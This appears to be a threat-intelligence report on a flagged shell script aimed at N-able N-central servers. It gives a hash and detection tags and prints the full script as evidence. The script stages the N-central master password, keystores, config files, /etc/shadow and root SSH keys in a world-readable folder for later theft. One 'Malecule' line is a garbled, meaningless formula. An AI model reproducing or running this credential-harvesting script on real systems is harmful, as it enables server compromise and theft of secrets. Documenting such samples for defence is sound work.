reported-rc9234.sh
Exfiltrates credentials and sensitive files
Copies the Linux password hash databaseShell command-substitution syntax
SHA-256927dea963205ccb73ed35eadc475d605eee047a517200237a570fe8ed96ebb46
MaleculeO₂(CaDy)H₃(F₁₂Os₄Po₄)Md(Pt)
Also flagged by https://www.greynoise.io/blog/rss.xml (Global Event: N-able N-central Live Activity Report).
Evidence
1#!/bin/bash
2L=/var/opt/n-central/tmp/loot9234
3mkdir -p "$L"; chmod 755 "$L"
4{ echo "HOST=$(hostname)"; id; date; echo "MASTERPW=$(cat /opt/nable/etc/masterPassword 2>/dev/null)"; } > "$L/root_check.txt" 2>&1
5cp -a /opt/nable/etc/masterPassword "$L/masterPassword" 2>/dev/null; chmod 644 "$L/masterPassword" 2>/dev/null
6cp -a /opt/nable/etc/keystore* "$L/" 2>/dev/null
7cp -a /opt/nable/etc/*.cfg /opt/nable/etc/*.conf "$L/" 2>/dev/null
8cp -a /etc/shadow "$L/shadow" 2>/dev/null
9cp -a /root/.ssh "$L/root_ssh" 2>/dev/null
10tar czf "$L/opt_nable_etc.tar.gz" -C /opt/nable etc 2>/dev/null
11chmod -R a+rX "$L" 2>/dev/null
12chmod 755 "$L"
13echo DONE_$(id -u) >> "$L/root_check.txt"